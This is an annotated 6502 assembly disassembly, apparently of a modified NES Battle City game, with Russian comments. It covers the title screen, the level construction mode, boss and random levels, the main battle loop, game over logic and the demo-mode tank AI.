; CODE XREF: ROM:Skip_RecordShowj JSR Draw_TitleScreen LDA #0 STA Construction_Flag ; Пока в Construction не заходили ; START OF FUNCTION CHUNK FOR BonusLevel_ButtonCheck New_Scroll: ; CODE XREF: BonusLevel_ButtonCheck-372j JSR Null_Upper_NT JSR Scroll_TitleScrn ; Убираем из верхней (0(1)) тайловой карты уровень и ; скроллим на титульник в нижней (2(3))тайловой карте. Title_Loaded: ; CODE XREF: ROM:C156j ; BonusLevel_ButtonCheck+2Bj ; Scroll_TitleScrn+1Aj JSR Title_Screen_Loop JSR Load_DemoLevel JSR BonusLevel_ButtonCheck ; Рекурсия. JMP New_Scroll ; После окончания бонус уровня, заново скроллируем титульник. ; END OF FUNCTION CHUNK FOR BonusLevel_ButtonCheck ; ─────────────────────────────────────────────────────────────────────────── Construction: ; CODE XREF: ROM:CA82j LDA Construction_Flag ; Выставляется, если зашли в Construction BNE Skip_LoadFrame ; Если уже заходили в Construction, рамка уже отрисована JSR Screen_Off JSR Make_GrayFrame JSR Store_NT_Buffer_InVRAM ; Сбрасывает на экран содержимое NT_Buffer JSR Set_PPU Skip_LoadFrame: ; CODE XREF: ROM:C0B0j JSR Null_Status LDA #$10 STA Tank_X LDA #$18 STA Tank_Y ; Начальная позиция танка на экране LDA #$84 ; 'Д' STA Tank_Status ; Дулом вверх LDA #0 STA Tank_Type STA Spr_Attrib STA Track_Pos STA BkgOccurence_Flag STA byte_7B STA TSA_BlockNumber STA Scroll_Byte STA PPU_REG1_Stts STA Player_Blink_Timer ; Таймер мигания friendly fire STA Player_Blink_Timer+1 ; Таймер мигания friendly fire LDA Construction_Flag ; Выставляется, если зашли в Construction BNE Construction_Loop JSR DraW_Normal_HQ ; Если уже заходили в Construction, штаб уже отрисован Construction_Loop: ; CODE XREF: ROM:C0E5j ROM:C14Dj JSR NMI_Wait ; Ожидает немаскируемого прерывания JSR Move_Tank ; Двигает танк в зависимости от нажатых кнопок JSR Check_BorderReach ; Не дает танку выйти за границы серой рамки LDA Frame_Counter AND #$10 BEQ Skip_Status_Handle JSR TanksStatus_Handle ; Обрабатывает статусы всех 8-ми танков Skip_Status_Handle: ; CODE XREF: ROM:C0F7j LDA Joypad1_Buttons AND #$F0 ; 'Ё' BNE loc_C13E LDA Joypad1_Differ AND #1 BEQ loc_C120 LDA BkgOccurence_Flag BNE loc_C111 INC BkgOccurence_Flag JMP Construct_Draw_TSA ; ─────────────────────────────────────────────────────────────────────────── loc_C111: ; CODE XREF: ROM:C10Aj INC TSA_BlockNumber LDA TSA_BlockNumber CMP #$E BNE Construct_Draw_TSA LDA #0 STA TSA_BlockNumber JMP Construct_Draw_TSA ; ─────────────────────────────────────────────────────────────────────────── loc_C120: ; CODE XREF: ROM:C106j LDA Joypad1_Differ AND #2 BEQ loc_C13E LDA BkgOccurence_Flag BNE loc_C12F INC BkgOccurence_Flag JMP Construct_Draw_TSA ; ─────────────────────────────────────────────────────────────────────────── loc_C12F: ; CODE XREF: ROM:C128j DEC TSA_BlockNumber LDA TSA_BlockNumber CMP #$FF BNE Construct_Draw_TSA LDA #$D ; $D - первый пустой блок STA TSA_BlockNumber JMP Construct_Draw_TSA ; ─────────────────────────────────────────────────────────────────────────── loc_C13E: ; CODE XREF: ROM:C100j ROM:C124j LDA Joypad1_Buttons AND #3 ; При нажатии А или В рисуется блок под танком BEQ Construct_StartCheck Construct_Draw_TSA: ; CODE XREF: ROM:C10Ej ROM:C117j ; ROM:C11Dj ROM:C12Cj ROM:C135j ; ROM:C13Bj JSR Draw_TSA_On_Tank ; Рисует TSA блок под танком Construct_StartCheck: ; CODE XREF: ROM:C142j LDA Joypad1_Differ AND #8 BNE End_Construction ; Если нажато старт, выходим JMP Construction_Loop ; ─────────────────────────────────────────────────────────────────────────── End_Construction: ; CODE XREF: ROM:C14Bj LDA #$20 ; ' ' STA Spr_Attrib INC Construction_Flag ; Помечаем, что зашли в Construction JMP Title_Loaded ; ─────────────────────────────────────────────────────────────────────────── Start_StageSelScrn: ; CODE XREF: ROM:C280j ROM:CA7Bj JSR NMI_Wait ; Ожидает немаскируемого прерывания JSR Sound_Stop ; Останавливаем звук, включаем каналы и т.п. (аналогично Load в NSF формате) LDA #$1C STA PPU_Addr_Ptr ; Запись будет в верхнюю NT LDA #0 STA Scroll_Byte STA PPU_REG1_Stts STA Pause_Flag LDA #4 STA BkgPal_Number JSR FillNT_with_Grey ; создаёт эффект сходящихся вертикальных створок StageSelect_Loop: ; CODE XREF: ROM:C19Bj ROM:C1A1j ; ROM:C1AEj ROM:C1B4j ROM:C1BCj ; ROM:C1C2j ;!Определяем нужен ли нам Уровень с боссом (каждый восьмой уровень) LDA Level_Number AND #7 BNE Skip_Make_Armour LDA #1 sta Boss_Mode Lda #Init_Boss_Armour Sta Boss_Armour jmp Draw_Stage_String Skip_Make_Armour: lda #0 Sta Boss_Armour sta Boss_Mode Draw_Stage_String: JSR Draw_StageNumString ;! Сразу начинаем уровень - безо всяких проверок на кнопки или флага начала игры. ; ─────────────────────────────────────────────────────────────────────────── Start_Level: ; CODE XREF: ROM:C177j ROM:C17Dj Init_Boss_Armour = #10 LDA Construction_Flag ; Выставляется, если зашли в Construction BNE Skip_Lvl_Load ; Если побывали в Construction, то ; данные уровня загружаться не будут (они уже в NT_Buffer) ; (только танки и штаб) ;! Определяем какой уровень нужно загрузить: обычный или случайный. Get_Map_Mode: Lda Map_Mode_Pos BEQ Orig_Map CMP #2 BCC Random_Map JSR Get_Random_A ;Выбран пункт Mixed AND #1 JMP Make_Gray_Frame Orig_Map: LDA #0 ;Выбран пункт Original JMP Make_Gray_Frame Random_Map: LDA #1 ;Выбран пункт Random Make_Gray_Frame: STA Random_Level_Flag JSR Make_GrayFrame LDA Level_Number JSR Load_Level; Тут будет проверен флаг случайного и если нужно, загружен пустой уровень ;!Проверяем флаг и если надо рисуем на пустом уровне лабиринт. ldx Random_Level_Flag Beq ++++ jsr Draw_Random_Level ++++ JSR DraW_Normal_HQ ; Рисует штаб с кирпичами JMP + ; ─────────────────────────────────────────────────────────────────────────── Skip_Lvl_Load: ; CODE XREF: ROM:C1D2j JSR Draw_Naked_HQ ; Даже если штаб был зарисован в Construction, он будет поверх +: LDA #1 STA Snd_Battle1 STA Snd_Battle2 STA Snd_Battle3 ; Проигрываем мелодию боя ; CODE XREF: ROM:C1DFj LDA #0 STA ScrBuffer_Pos JSR Copy_AttribToScrnBuff JSR FillNT_with_Black ; Создаёт эффект расходящихся вертикальных створок LDA #0 STA BkgPal_Number JSR NMI_Wait ; Ожидает немаскируемого прерывания JSR SetUp_LevelVARs Battle_Engine: ; CODE XREF: ROM:C221j JSR NMI_Wait ; Ожидает немаскируемого прерывания LDA Pause_Flag BNE Skip_Battle_Loop ; В режиме паузы не нужно обрабатывать танки, жизни и т.п. JSR Battle_Loop ; Основные операции с танками и пулями Skip_Battle_Loop: ; CODE XREF: ROM:C1FEj JSR Bonus_Draw ; Рисует или пустоту или бонус или очки за бонус JSR Draw_All_BulletGFX ; Рисует все пули JSR TanksStatus_Handle ; Обрабатывает статусы всех 8-ми танков LDA Joypad1_Differ AND #8 ; Проверка на нажатие старт BEQ Skip_Pause_Switch LDA #1 EOR Pause_Flag STA Pause_Flag ; Переключаем флаг паузы на противоположный STA Snd_Pause Skip_Pause_Switch: ; CODE XREF: ROM:C210j JSR Draw_Pause ; Рисует мигающую надпись, в случае если выставлена пауза JSR LevelEnd_Check ; if ExitLevel then A=1 BEQ Battle_Engine LDA #0 STA Seconds_Counter STA Frame_Counter ; Останавливаем таймеры STA Snd_Move STA Snd_Engine ; Останавливаем звуки LDA GameOverStr_Timer BEQ AfterDeath_BattleRun LDA #$FE ; '■' STA Seconds_Counter AfterDeath_BattleRun: ; CODE XREF: ROM:C232j ROM:C251j JSR NMI_Wait ; Ожидает немаскируемого прерывания JSR FreezePlayer_OnHQDestroy ; Лишает игрока подвижности, если штаб разрушен JSR Battle_Loop ; Основные операции с танками и пулями JSR Bonus_Draw ; Рисует или пустоту или бонус или очки за бонус JSR TanksStatus_Handle ; Обрабатывает статусы всех 8-ми танков JSR Draw_All_BulletGFX ; Рисует все пули JSR Swap_Pal_Colors ; Периодическое мигание - эффект воды на 01 палитре LDA Seconds_Counter CMP #2 ; 2 Секунды держится неподвижная надпись GameOver c замороженным игроком BNE AfterDeath_BattleRun JSR Sound_Stop ; Останавливаем звук, включаем каналы и т.п. (аналогично Load в NSF формате) JSR Draw_Pts_Screen Check_GameOver: ; CODE XREF: ROM:C26Dj LDA Player1_Lives CLC ADC Player2_Lives BEQ Make_GameOver ; Если жизней ни у кого не осталось, геймовер LDA HQ_Status ; 80=штаб цел, если ноль то уничтожен CMP #$80 ; 'А' BNE Make_GameOver ; Если штаб разрушен, геймовер INC Level_Number ;! Увеличиваем псевдономер уровня (из 99-ти) LDA Level_Number Cmp #51 BCC Skip_Make_Hard LDA #1 STA Level_Mode Skip_Make_Hard: LDA Level_Number CMP #100 BCC Continue_Game Lda #1 ;отображаем финальный экран. STA Level_Number LDA #0 STA Level_Mode JSR Draw_Congrats ; Рисует большую кирпичную надпись с поздравлением JSR Clear_NT ; Очищаем верхнюю карту тайлов (титульник будет в нижней) JMP BEGIN Continue_Game: JMP Start_StageSelScrn ; Если мы вышли из уровня победителями, то переходим к следующему уровню ; ─────────────────────────────────────────────────────────────────────────── Make_GameOver: LDA #0 STA Boss_Mode ; CODE XREF: ROM:C278j ROM:C27Ej JSR Draw_Brick_GameOver ; Рисует большую кирпичную надпись GameOver ;! Если произошел геймовер, то откатываемся на 5 уровней назад, предварительно проверив сам номер уровня. Lda Level_Number CMP #6 BCC +; Если номер уровня меньше 6, то отнимать 5 уровней нельзя. SEC SBC #5 STA Level_Number + JSR Update_HiScore ; На выходе A = $FF, значит есть рекорд TYA BEQ Skip_RecordShow JSR Draw_Record_HiScore ; Рисует большую кирпичную надпись с рекордом JSR Clear_NT ; Очищаем верхнюю карту тайлов (титульник будет в нижней) Skip_RecordShow: ; CODE XREF: ROM:C28Aj JMP BEGIN ; ███████████████ S U B R O U T I N E ███████████████████████████████████████ Clear_NT: ; CODE XREF: ROM:C28Fp JSR Screen_Off JSR Null_NT_Buffer JSR Store_NT_Buffer_InVRAM ; Сбрасывает на экран содержимое NT_Buffer JSR Set_PPU RTS ; End of function Clear_NT ; ███████████████ S U B R O U T I N E ███████████████████████████████████████ ; Лишает игрока подвижности, если штаб разрушен FreezePlayer_OnHQDestroy: ; CODE XREF: ROM:C23Bp LDA HQ_Status ; 80=штаб цел, если ноль то уничтожен CMP #$80 ; 'А' BEQ + LDA #0 STA Joypad1_Buttons STA Joypad2_Buttons STA Joypad1_Differ STA Joypad2_Differ +: ; CODE XREF: FreezePlayer_OnHQDestroy+4j RTS ; End of function FreezePlayer_OnHQDestroy ; ███████████████ S U B R O U T I N E ███████████████████████████████████████ Null_both_HiScore: ; CODE XREF: ROM:CA78p LDX #HiScore_1P_String JSR Null_8Bytes_String LDX #HiScore_2P_String JSR Null_8Bytes_String ; End of function Null_both_HiScore ; ███████████████ S U B R O U T I N E ███████████████████████████████████████ Init_Level_VARs: ; CODE XREF: Load_DemoLevel+8p LDA #0 STA Player_Type ; Вид танка игрока STA Player_Type+1 ; Вид танка игрока LDA #0 STA AddLife_Flag ; <>0 - игрок получал дополнительную жизнь STA AddLife_Flag+1 ; <>0 - игрок получал дополнительную жизнь STA EnterGame_Flag ; Если 0, то можно выбрать уровень LDA #3 ; Начальное количество жизней STA Player1_Lives STA Player2_Lives STA EnemyRespawn_PlaceIndex LDA CursorPos BNE + LDA #0 ; Если 2 игрока нет, обнуляем его жизни STA Player2_Lives +: ; CODE XREF: Init_Level_VARs+1Aj LDA #0 ; Game Over будет отображаться STA Level_Mode RTS ; End of function Init_Level_VARs ; ███████████████ S U B R O U T I N E ███████████████████████████████████████ ; Основные операции с танками и пулями Battle_Loop: ; CODE XREF: ROM:C200p ROM:C23Ep ; BonusLevel_ButtonCheck+Cp JSR Ice_Detect ; Обрабатывает игрока, если тот на льду JSR Ice_Move ; Выполняет скольжение, если танк двигается на льду JSR Motion_Handle ; Замораживает врагов, если нужно (обработка движения) JSR HideHiBit_Under_Tank JSR AllBulletsStatus_Handle ; Обрабатывает статусы всех пуль JSR HQ_Handle ; Обрабатывает статус и броню штаба JSR Invisible_Timer_Handle ; Рисует силовое поле, если нужно JSR Make_Player_Shot ; Делает выстрел игрока, если нажата кнопка JSR Make_Enemy_Shot ; Производит выстрел, используя случайные числа JSR Respawn_Handle JSR Bullet_Fly_Handle ; Обрабатывает полет пули (столкновение и т.п.) JSR BulletToBullet_Impact_Handle ; Обрабатывает столкновение двух пуль, если оно есть JSR BulletToTank_Impact_Handle ; Обрабатывает столкновение пули с танком JSR Bonus_Handle ; Обрабатывает взятие бонуса, если таковое есть JSR GameOver_Str_Move_Handle ; Выводит надпись Game Over если нужно JSR Play_Snd_Move ; Играет и гасит звук движения когда нужно JSR Draw_Player_Lives ; Рисует IP/IIP и число жизней в правом углу JSR Swap_Pal_Colors ; Периодическое мигание - эффект воды на 01 палитре RTS ; End of function Battle_Loop ; ███████████████ S U B R O U T I N E ███████████████████████████████████████ ; Периодическое мигание - эффект воды на 01 палитре Swap_Pal_Colors: ; CODE XREF: ROM:C24Ap Battle_Loop+33p LDA Frame_Counter AND #$3F ; '?' BEQ switch CMP #$20 ; ' ' BNE exit LDA #1 STA BkgPal_Number RTS ; ─────────────────────────────────────────────────────────────────────────── switch: ; CODE XREF: Swap_Pal_Colors+4j LDA #2 STA BkgPal_Number exit: ; CODE XREF: Swap_Pal_Colors+8j RTS ; End of function Swap_Pal_Colors ; ███████████████ S U B R O U T I N E ███████████████████████████████████████ SetUp_LevelVARs: ; CODE XREF: ROM:C1F6p ; Load_DemoLevel+5Ap JSR Hide_All_Bullets ; Уводим с экраны все пули JSR Null_Status LDA #$F0 ; 'Ё' STA GameOverStr_Y ; Уводим за экран надпись LDA #0 STA GameOverStr_Timer LDA Player1_Lives ; Если жизней нет, ; больше не респаунимся BEQ + LDX #0 JSR Make_Respawn +: ; CODE XREF: SetUp_LevelVARs+12j LDA Player2_Lives BEQ Set_VARs LDX #1 JSR Make_Respawn Set_VARs: LDA Boss_Mode;! BEQ Skip_Boss_Mode LDA Level_Number CMP #80;! После 80 уровня два босса BCC Low_Levels LDA #2 JMP Save_Enemy_Counter Low_Levels: LDA #1 JMP Save_Enemy_Counter;! босс будет один, а после 80-го уровня их станет два. Skip_Boss_Mode: LDA #20 ;20 врагов в каждом уровне Save_Enemy_Counter: STA Enemy_Reinforce_Count ; Количество врагов в запасе STA Enemy_Counter ; Количество врагов на экране и в запасе LDA #0 STA Enemy_TypeNumber STA Seconds_Counter STA Construction_Flag ; Выставляется, если зашли в Construction STA HQArmour_Timer ; Таймер брони вокруг штаба STA Player_Blink_Timer ; Таймер мигания friendly fire STA Player_Blink_Timer+1 ; Таймер мигания friendly fire STA Invisible_Timer ; Силовое поле вокруг игрока после рождения STA byte_8A STA Respawn_Timer ; Время до следующего респауна STA Bonus_X STA EnemyFreeze_Timer STA EnemyRespawn_PlaceIndex ; Начинаем респауниться слева JSR Null_KilledEnms_Count ; Обнуляет массив счётчиков убитых врагов JSR Draw_Reinforcemets JSR NMI_Wait ; Ожидает немаскируемого прерывания JSR Draw_IP JSR Draw_LevelFlag LDA Boss_Mode BEQ Skip_Boss_Mode2 JSR Get_Random_A ; в режиме босса записываем единицу в один из типов врагов AND #3 TAY LDA #1 STA Enemy_Count,Y JMP Init_HQ_Stat Skip_Boss_Mode2: JSR Load_Enemy_Count Init_HQ_Stat: LDA #$80 ; 'А' STA HQ_Status ; 80=штаб цел, если ноль то уничтожен LDA #1 STA Snd_Engine STA EnterGame_Flag ; Если 0, то можно выбрать уровень LDA Level_Mode CMP #1 BNE ++ LDA #35 JMP Respawn_Delay_Calc ; ─────────────────────────────────────────────────────────────────────────── ++: ; CODE XREF: SetUp_LevelVARs+64j LDA Level_Number Respawn_Delay_Calc: ; CODE XREF: SetUp_LevelVARs+68j CMP #43 ;! На уровнях выше 42, оставляем время на респаун минимальным BCC Level_Small LDA #42 Level_Small: ASL A ASL A STA Temp LDA #190 SEC SBC Temp STA Respawn_Delay ; Задержка между респаунами врагов LDA CursorPos BEQ +++ LDA Respawn_Delay ; Задержка между респаунами врагов SEC SBC #20 STA Respawn_Delay ; Задержка между респаунами во фреймах может быть вычислена по формуле: ; 190 - (№уровня)*4 - (количество_игроков - 1)*20 +++: ; CODE XREF: SetUp_LevelVARs+7Aj RTS ; End of function SetUp_LevelVARs ; ███████████████ S U B R O U T I N E ███████████████████████████████████████ Load_DemoLevel: ; CODE XREF: BonusLevel_ButtonCheck-378p LDA #1 STA Pause_Flag LDA #0 STA BkgPal_Number JSR Init_Level_VARs LDA #3 STA Player2_Lives ; Вне зависимости от выбора игрока, ; появится второй танк. LDA #0 STA Scroll_Byte ; Таким образом на экране будет содержимое 0(1) ; тайловой карты. Во 2(3) всегда находится титульник, ; что позволяет не загружать его каждый раз, когда ; нужно вернуться (в этом случае очищаются 0(1) ; тайловые карты и происходит скролл на 2(3), который ; также заметен глазу игрока) STA PPU_REG1_Stts STA Seconds_Counter STA Frame_Counter JSR Make_GrayFrame LDA #$FF STA Level_Number JSR Load_Level LDA #1 STA Level_Number ; В правом углу во время бонус уровня указан ; именно 30-й номер уровня, хотя по ; содержимому это и не он LDA #2 STA Level_Mode JSR Screen_Off LDX #$1A STX Block_X LDY #$46 ; 'F' STY Block_Y LDA #>aBattle ; "BATTLE\xFF" STA HighStrPtr_Byte LDA #<aBattle ; "BATTLE\xFF" STA LowStrPtr_Byte ; Загрузка указателя для "Кирпичного" слова 'BATTLE' ; JSR Draw_BrickStr LDX #$3C ; '<' STX Block_X LDY #$78 ; 'x' STY Block_Y ; ; LDA #>aCity ; "CITY\xFF" STA HighStrPtr_Byte LDA #<aCity ; "CITY\xFF" STA LowStrPtr_Byte ; Загрузка указателя для "Кирпичного" слова 'CITY' ; JSR Draw_BrickStr JSR Store_NT_Buffer_InVRAM ; Сбрасывает на экран содержимое NT_Buffer JSR Set_PPU JSR SetUp_LevelVARs JSR DraW_Normal_HQ ; Рисует штаб с кирпичами JSR NMI_Wait ; Ожидает немаскируемого прерывания LDA #5 STA TanksOnScreen ; Максимальное количество всех танков на экране RTS ; End of function Load_DemoLevel ; ███████████████ S U B R O U T I N E ███████████████████████████████████████ BonusLevel_ButtonCheck: ; CODE XREF: BonusLevel_ButtonCheck-375p ; BonusLevel_ButtonCheck+1Bj ; FUNCTION CHUNK AT C09C SIZE 00000012 BYTES JSR NMI_Wait ; Ожидает немаскируемого прерывания LDA Joypad1_Differ AND #1100b ; проверка на select(4) или start(8) ; во время скроллинга титульника или ; бонус уровня. BNE Button_Pressed DemoLevel_Loop: ; Управление танками игроков во время демо уровня JSR Demo_AI JSR Battle_Loop ; Основные операции с танками и пулями JSR Bonus_Draw ; Рисует или пустоту или бонус или очки за бонус JSR TanksStatus_Handle ; Обрабатывает статусы всех 8-ми танков JSR Draw_All_BulletGFX ; Рисует все пули JSR LevelEnd_Check ; if ExitLevel then A=1 BEQ BonusLevel_ButtonCheck End_Demo: LDA #0 STA ScrBuffer_Pos RTS ; ─────────────────────────────────────────────────────────────────────────── Button_Pressed: ; CODE XREF: BonusLevel_ButtonCheck+7j PLA PLA ; Убираем из стека точку возврата ; (по RTS всё равно выходить не будем), ; но процедура в конце вызывает себя ; рекурсивно - и стек стал бы ; неограниченно заполняться LDA #0 STA ScrBuffer_Pos JSR Null_Upper_NT JMP Title_Loaded ; End of function BonusLevel_ButtonCheck ; ███████████████ S U B R O U T I N E ███████████████████████████████████████ ; Рисует большую кирпичную надпись с рекордом Draw_Record_HiScore: ; CODE XREF: ROM:C28Cp JSR Screen_Off LDA #$1C STA PPU_Addr_Ptr LDA #0 STA Scroll_Byte STA PPU_REG1_Stts JSR Null_NT_Buffer LDX #$10 STX Block_X LDY #$32 ; '2' STY Block_Y LDA #>aHiscore ; Выводится в виде кирпичной надписи, если рекорд STA HighStrPtr_Byte LDA #<aHiscore ; Выводится в виде кирпичной надписи, если рекорд STA LowStrPtr_Byte JSR Draw_BrickStr JSR Draw_RecordDigit ; Выводит на экран цифру рекорда JSR Store_NT_Buffer_InVRAM ; Сбрасывает на экран содержимое NT_Buffer JSR Set_PPU LDA #0 STA Seconds_Counter LDA #1 STA Snd_RecordPts1 STA Snd_RecordPts2 STA Snd_RecordPts3 -: ; CODE XREF: Draw_Record_HiScore+4Aj JSR NMI_Wait ; Ожидает немаскируемого прерывания LDA Frame_Counter AND #3 CLC ADC #5 STA BkgPal_Number ; Мигание надписи LDA Snd_RecordPts1 BNE - ; Ждём, пока не закончит играть мелодия рекорда LDA #0 STA BkgPal_Number RTS ; End of function Draw_Record_HiScore ; ███████████████ S U B R O U T I N E ███████████████████████████████████████ Draw_RespawnPic: ; CODE XREF: Draw_Drop:-p Draw_Drop+Fp ; Draw_Drop+12p Draw_Drop+15p JSR NMI_Wait ; Ожидает немаскируемого прерывания LDA #3 STA TSA_Pal LDA #3 SEC SBC Counter BPL + EOR #$FF CLC ADC #1 +: ; CODE XREF: Draw_RespawnPic+Cj STA Temp LDA #3 SEC SBC Temp ASL A ASL A CLC ADC #$A1 ; 'б' ; начало в Pattern Table графики респауна STA Spr_TileIndex LDX Block_X LDY Block_Y JSR Draw_WholeSpr ; Cбрасывает в спрайтовый буффер спрайт 16х16. (в Х, Y - координаты) RTS ; End of function Draw_RespawnPic ; ███████████████ S U B R O U T I N E ███████████████████████████████████████ ; Рисует большую кирпичную надпись GameOver Draw_Brick_GameOver: ; CODE XREF: ROM:Make_GameOverp JSR Screen_Off LDA #$1C STA PPU_Addr_Ptr LDA #0 STA Scroll_Byte STA PPU_REG1_Stts JSR Null_NT_Buffer LDX #$3C ; '<' STX Block_X LDY #$46 STY Block_Y LDA #>aGame ; Выводится в виде кирпичной надписи на весь экран STA HighStrPtr_Byte LDA #<aGame ; Выводится в виде кирпичной надписи на весь экран STA LowStrPtr_Byte JSR Draw_BrickStr LDX #$3C ; '<' STX Block_X LDY #$78 ; 'x' STY Block_Y LDA #>aOver ; "OVER\xFF" STA HighStrPtr_Byte LDA #<aOver ; "OVER\xFF" STA LowStrPtr_Byte JSR Draw_BrickStr JSR Store_NT_Buffer_InVRAM ; Сбрасывает на экран содержимое NT_Buffer JSR Set_PPU LDA #0 STA Seconds_Counter LDA #1 STA Snd_GameOver1 STA Snd_GameOver2 STA Snd_GameOver3 Next_Frame: ; CODE XREF: Draw_Brick_GameOver+57j JSR NMI_Wait ; Ожидает немаскируемого прерывания LDA Joypad1_Differ AND #$C BNE End_Draw_Brick_GameOver ; Если нажато Select или Start, выходим LDA Snd_GameOver1 BNE Next_Frame ; Если мелодия закончила играть, выходим End_Draw_Brick_GameOver: ; CODE XREF: Draw_Brick_GameOver+52j JSR Screen_Off JSR Null_NT_Buffer JSR Store_NT_Buffer_InVRAM ; Сбрасывает на экран содержимое NT_Buffer JSR Set_PPU JSR Sound_Stop ; Останавливаем звук, включаем каналы и т.п. (аналогично Load в NSF формате) RTS ; End of function Draw_Brick_GameOver ; ███████████████ S U B R O U T I N E ███████████████████████████████████████ ; Управление танками игроков во время демо уровня Demo_AI: ; CODE XREF: BonusLevel_ButtonCheck:DemoLevel_Loopp LDA #1 STA Counter ; Обрабатываем двух игроков -: ; CODE XREF: Demo_AI+7Dj LDX Counter LDA Bonus_X BEQ NoBonus ; Bonus_X=0 - бонус выведен за экран LDA BonusPts_TimeCounter BNE NoBonus ; Если таймер !=0, бонус взят ; и отображаются очки за него ; Если бонус на экране, в первую очередь забираем его Take_Bonus: LDA Bonus_X STA AI_X_Aim LDA Bonus_Y STA AI_Y_Aim JSR Load_AI_Status JMP Load_Direction_DemoAI ; 4 направления ; ─────────────────────────────────────────────────────────────────────────── NoBonus: ; CODE XREF: Demo_AI+8j Demo_AI+Cj LDA Tank_Status+2,X ; Либо бонуса нет, ; либо он уже взят ; Далее производятся проверки танков врагов на жизнеспособность, ; и если они живы, происходит перенацеливание на них BPL + ; Если <$80, враг умирает CMP #$E0 ; 'р' BCS + ; A>$E0 (если больше, ; враг зарождается) LDA Tank_X+2,X STA AI_X_Aim LDA Tank_Y+2,X STA AI_Y_Aim JSR Load_AI_Status JMP Load_Direction_DemoAI ; 4 направления ; ─────────────────────────────────────────────────────────────────────────── +: ; CODE XREF: Demo_AI+1Ej Demo_AI+22j LDA Tank_Status+4,X BPL ++ ; Если <$80, враг умирает CMP #$E0 ; 'р' BCS ++ ; A>$E0 (если больше, ; враг зарождается) LDA Tank_X+4,X STA AI_X_Aim LDA Tank_Y+4,X STA AI_Y_Aim JSR Load_AI_Status JMP Load_Direction_DemoAI ; 4 направления ; ─────────────────────────────────────────────────────────────────────────── ++: ; CODE XREF: Demo_AI+34j Demo_AI+38j LDA Tank_Status+3,X BPL EnemiesNotActing ; Если <$80, враг умирает CMP #$E0 ; 'р' BCS EnemiesNotActing ; A>$E0 (если больше, ; враг зарождается) LDA Tank_X+3,X STA AI_X_Aim LDA Tank_Y+3,X STA AI_Y_Aim JSR Load_AI_Status JMP Load_Direction_DemoAI ; 4 направления ; ─────────────────────────────────────────────────────────────────────────── EnemiesNotActing: ; CODE XREF: Demo_AI+4Aj Demo_AI+4Ej LDA #0 ; Если танков нет, ничего не делаем JMP SaveButton_DemoAI ; ─────────────────────────────────────────────────────────────────────────── Load_Direction_DemoAI: ; CODE XREF: Demo_AI+19j Demo_AI+2Fj ; Demo_AI+45j Demo_AI+5Bj AND #3 ; 4 направления TAY LDA Tank_Direction,Y ; Направление танков в демо-уровне (в формате порта джойстика) SaveButton_DemoAI: ; CODE XREF: Demo_AI+60j LDX Counter STA Joypad1_Buttons,X STA Joypad1_Differ,X LDA Tank_Y,X CMP #$C8 ; '╚' BCC Next_Demo_AI LDA Joypad1_Differ,X AND #$F0 ; 'Ё' STA Joypad1_Differ,X Next_Demo_AI: ; CODE XREF: Demo_AI+73j DEC Counter BPL - RTS ; End of function Demo_AI ; ─────────────────────────────────────────────────────────────────────────── Tank_Direction: .BYTE $13,$43,$23,$83 ; DATA XREF: Demo_AI+66r ; Направление танков в демо-уровне (в формате порта джойстика) ; ███████████████ S U B R O U T I N E ███████████████████████████████████████ ; Рисует TSA блок под танком Draw_TSA_On_Tank: ; CODE XREF: ROM:Construct_Draw_TSAp LDA TSA_BlockNumber AND #$F LDX Tank_X LDY Tank_Y JSR Draw_TSABlock RTS ; End of function Draw_TSA_On_Tank ; ███████████████ S U B R O U T I N E ███████████████████████████████████████ ; Двигает танк в зависимости от нажатых кнопок Move_Tank: ; CODE XREF: ROM:C0EDp LDA Joypad1_Buttons AND #$F0 ; 'Ё' ; Проверка на нажатые клавиши управления BEQ ArrowNotPressed INC byte_7B LDA #0 STA BkgOccurence_Flag JMP + ; ─────────────────────────────────────────────────────────────────────────── ArrowNotPressed: ; CODE XREF: Move_Tank+4j LDA #0 STA byte_7B +: ; CODE XREF: Move_Tank+Cj LDA byte_7B CMP #$14 BEQ loc_C6FB LDA Joypad1_Differ AND #$F0 ; 'Ё' ; Если кнопки направления не ; нажаты, танк не двигаем BEQ End_Move_Tank LDA Joypad1_Differ JSR Button_To_DirectionIndex ; $FF = кнопки управления не нажаты BMI End_Move_Tank ; Перестраховка, на случаай, если ; кнопки управления не нажаты JMP loc_C704 ; ─────────────────────────────────────────────────────────────────────────── loc_C6FB: ; CODE XREF: Move_Tank+17j LDA #$F STA byte_7B LDA Joypad1_Buttons JSR Button_To_DirectionIndex ; $FF = кнопки управления не нажаты loc_C704: ; CODE XREF: Move_Tank+26j TAY LDA Coord_X_Increment,Y ASL A ASL A ASL A ASL A ; Перемещаем танк на 16 пикселей ; (каждый TSA блок 16х16) CLC ADC Tank_X STA Tank_X LDA Coord_Y_Increment,Y ASL A ASL A ASL A ASL A CLC ADC Tank_Y STA Tank_Y End_Move_Tank: ; CODE XREF: Move_Tank+1Dj ; Move_Tank+24j RTS ; End of function Move_Tank ; ███████████████ S U B R O U T I N E ███████████████████████████████████████ ; Обнуляет массив счётчиков убитых врагов Null_KilledEnms_Count: ; CODE XREF: SetUp_LevelVARs+43p LDX #7 ;4 типа врагов и 2 игрока = массив из 8 байт LDA #0 -: ; CODE XREF: Null_KilledEnms_Count+7j STA Enmy_KlledBy1P_Count,X DEX BPL - RTS ; End of function Null_KilledEnms_Count ; ███████████████ S U B R O U T I N E ███████████████████████████████████████ ; if ExitLevel then A=1 LevelEnd_Check: ; CODE XREF: ROM:C21Ep ; BonusLevel_ButtonCheck+18p LDA HQ_Status ; 80=штаб цел, если ноль то уничтожен BEQ Init_GameOverStr ; Процедура проверяет статусы: штаба, жизней игроков, ; количества оставшихся врагов и если нужно выйти из ; уровня, на выходе в А выдаёт 1, если нужно продолжать ; процедуру уровня, то 0 LDA Enemy_Counter ; Если врагов нет, выходим BEQ ExitLevel LDA Player1_Lives CLC ADC Player2_Lives ; Если жизней у всех игроков нет, выходим BNE PlayLevel Init_GameOverStr: ; CODE XREF: LevelEnd_Check+2j LDA #$70 ; 'p' STA GameOverStr_X LDA #$F0 ; 'Ё' STA GameOverStr_Y LDA #0 STA GameOverScroll_Type ; Определяет вид перемещения надписи(0..3) LDA #$11 STA GameOverStr_Timer LDA #0 ; обнуляем счетчик, чтобы корректно ; обработать таймер надписи Game Over STA Frame_Counter ExitLevel: ; CODE XREF: LevelEnd_Check+6j LDA #1 RTS ; ─────────────────────────────────────────────────────────────────────────── PlayLevel: ; CODE XREF: LevelEnd_Check+Dj LDA #0 RTS ; End of function LevelEnd_Check ; ─────────────────────────────────────────────────────────────────────────── LDA byte_109 ; Не использовался 